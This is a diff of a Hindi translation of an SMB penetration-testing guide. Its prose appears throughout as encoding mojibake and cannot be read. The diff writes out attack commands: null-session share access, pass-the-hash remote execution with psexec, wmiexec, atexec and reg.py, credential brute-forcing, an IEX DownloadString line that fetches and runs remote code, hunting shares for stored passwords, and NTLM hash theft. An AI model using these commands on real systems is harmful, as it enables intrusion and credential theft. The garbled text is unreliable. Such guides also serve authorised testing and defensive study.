рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред +рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╕рд╛рд░реНрдердХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреА рдореИрдиреНрдпреБрдЕрд▓ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рддреНрд░ (рдЬреИрд╕реЗ, рдирд▓ рд╕рддреНрд░ рдпрд╛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред рд╡рд┐рдВрдбреЛрдЬрд╝ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо рд╣реИрдВ @@ -210,14 +210,14 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t - SYSVOL - NETLOGON -(рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо _**рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди 3рд░реА рд╕рдВрд╕реНрдХрд░рдг**_ рд╕реЗ) +( _**рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди 3рд░реА рд╕рдВрд╕реНрдХрд░рдг**_ рд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо) рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдПрдХ рдирд▓ рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП) +рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдПрдХ рд╢реВрдиреНрдп рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП) ```bash #/bin/bash @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ / рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдмрд┐рдирд╛** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **рдлрд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ** -рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдкрд╛рд╕-рдереА-рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред +рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдкрд╛рд╕-рде-рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -289,18 +289,18 @@ smbclient /// > mget * #Download everything to current directory ``` -рдХрдорд╛рдВрдб: +Commands: - mask: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕рд╛ рдорд╛рд╕реНрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ "" рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП) - recurse: рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдмрдВрдж) -- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ) -- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ рдорд╛рд╕реНрдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ +- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ) +- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ рдорд╛рд╕реНрдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рддрд╛ рд╣реИ -(_smbclient рдХреЗ рдореИрдирдкреЗрдЬ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА_) +(_Information from the manpage of smbclient_) -### рдбреЛрдореЗрди рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдЦреЛрдЬ +### Domain Shared Folders Search -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,15 +310,19 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдореЗрдВ **`Registry.xml`** рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓реЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рдкрд╛рд╕рд╡рд░реНрдб** рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ **autologon** рдХреЗ рд╕рд╛рде Group Policy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд░рдЦрддреА рд╣реИрдВред +рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╛рдЗрд▓реЗрдВ **`Registry.xml`** рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рдкрд╛рд╕рд╡рд░реНрдб** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **autologon** рдХреЗ рд╕рд╛рде **Group Policy** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд░рдЦрддреА рд╣реИрдВред + +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) +- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` +- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` > [!NOTE] -> **SYSVOL рд╢реЗрдпрд░** рд╕рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИ**ред рд╡рд╣рд╛рдБ рдЖрдк рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдмреИрдЪ, VBScript, рдФрд░ PowerShell **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** **рдкрд╛рдПрдВрдЧреЗ**ред\ -> рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдХреА **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рдкрд╛рд╕рд╡рд░реНрдб** рдЬреИрд╕реА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА **рдкрд╛рдПрдВрдЧреЗ**ред +> **SYSVOL рд╢реЗрдпрд░** рд╕рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рдкрдврд╝рд╛** рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд╣рд╛рдБ рдЖрдк рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдмреИрдЪ, VBScript, рдФрд░ PowerShell **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** **рдкрд╛рдПрдВрдЧреЗ**ред\ +> рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ **рдкрд╛рд╕рд╡рд░реНрдб** **рдкрд╛рдПрдВрдЧреЗ**ред ## рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝реЗрдВ -рдЖрдк рдХреБрдЫ рдЦреЛрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред Impacket **`reg.py`** рдЖрдкрдХреЛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +рдЖрдк рдХреБрдЫ рдЦреЛрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА** **рдкрдврд╝рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред Impacket **`reg.py`** рдЖрдкрдХреЛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -378,9 +382,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдВрдЧреЗ** (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдореЗрдВ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рддрд░реНрдХреЛрдВ рдореЗрдВ рдкреЗрд▓реЛрдб рдбрд╛рд▓реЗрдЧрд╛ --**рдлрд╛рдЗрд▓-рд▓реЗрд╕ рддрдХрдиреАрдХ-**-).\ -**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) рдФрд░ [**smbexec**](../windows-hardening/ntlm/smbexec.md) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред\ -**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред +рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдВрдЧреЗ** (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП) рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдореЗрдВ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рддрд░реНрдХреЛрдВ рдореЗрдВ рдкреЗрд▓реЛрдб рдбрд╛рд▓реЗрдЧрд╛ --**рдлрд╛рдЗрд▓-рд▓реЗрд╕ рддрдХрдиреАрдХ-**-).\ +**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) рдФрд░ [**smbexec**](../windows-hardening/ntlm/smbexec.md) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ.\ +**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ. ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -388,19 +392,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **kerberos** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред +**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреЗрд░рдмреЗрд░реЛрд╕** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдпрд╛ рдирдИ рд╕реЗрд╡рд╛ рдЪрд▓рд╛рдП **port 135** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдЪреБрдкрдЪрд╛рдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред\ -**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред +рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдпрд╛ рдирдИ рд╕реЗрд╡рд╛ рдЪрд▓рд╛рдП **рдкреЛрд░реНрдЯ 135** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдЪреБрдкрдЪрд╛рдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред\ +**рдХрд╛рд▓реА** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреЗрд░реНрдмреЗрд░реЛрд╕** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред +**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреЗрд░рдмреЛрд╕** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -415,13 +419,13 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacket reference +## Impacket рд╕рдВрджрд░реНрдн [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** -**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдкрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** +**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name @@ -435,7 +439,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid Windows рдкреБрд╕реНрддрдХрд╛рд▓рдп URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдЬрдм рдПрдХ рдкреГрд╖реНрда SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдЫ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"` -рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ: +рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ: - URLDownloadToFile - URLDownloadToCache @@ -452,7 +456,7 @@ Windows рдкреБрд╕реНрддрдХрд╛рд▓рдп URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВ ## NTLM Theft -SMB Trapping рдХреЗ рд╕рдорд╛рди, рдПрдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрд╛рдиреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдПрдХ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 рд╣реИрд╢ рдХреЛ Responder рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣реИрд╢ рдХреЛ рдлрд┐рд░ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](pentesting-smb.md#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +SMB рдЯреНрд░реИрдкрд┐рдВрдЧ рдХреЗ рд╕рдорд╛рди, рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрд╛рдиреЗ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдПрдХ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 рд╣реИрд╢ рдХреЛ Responder рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ 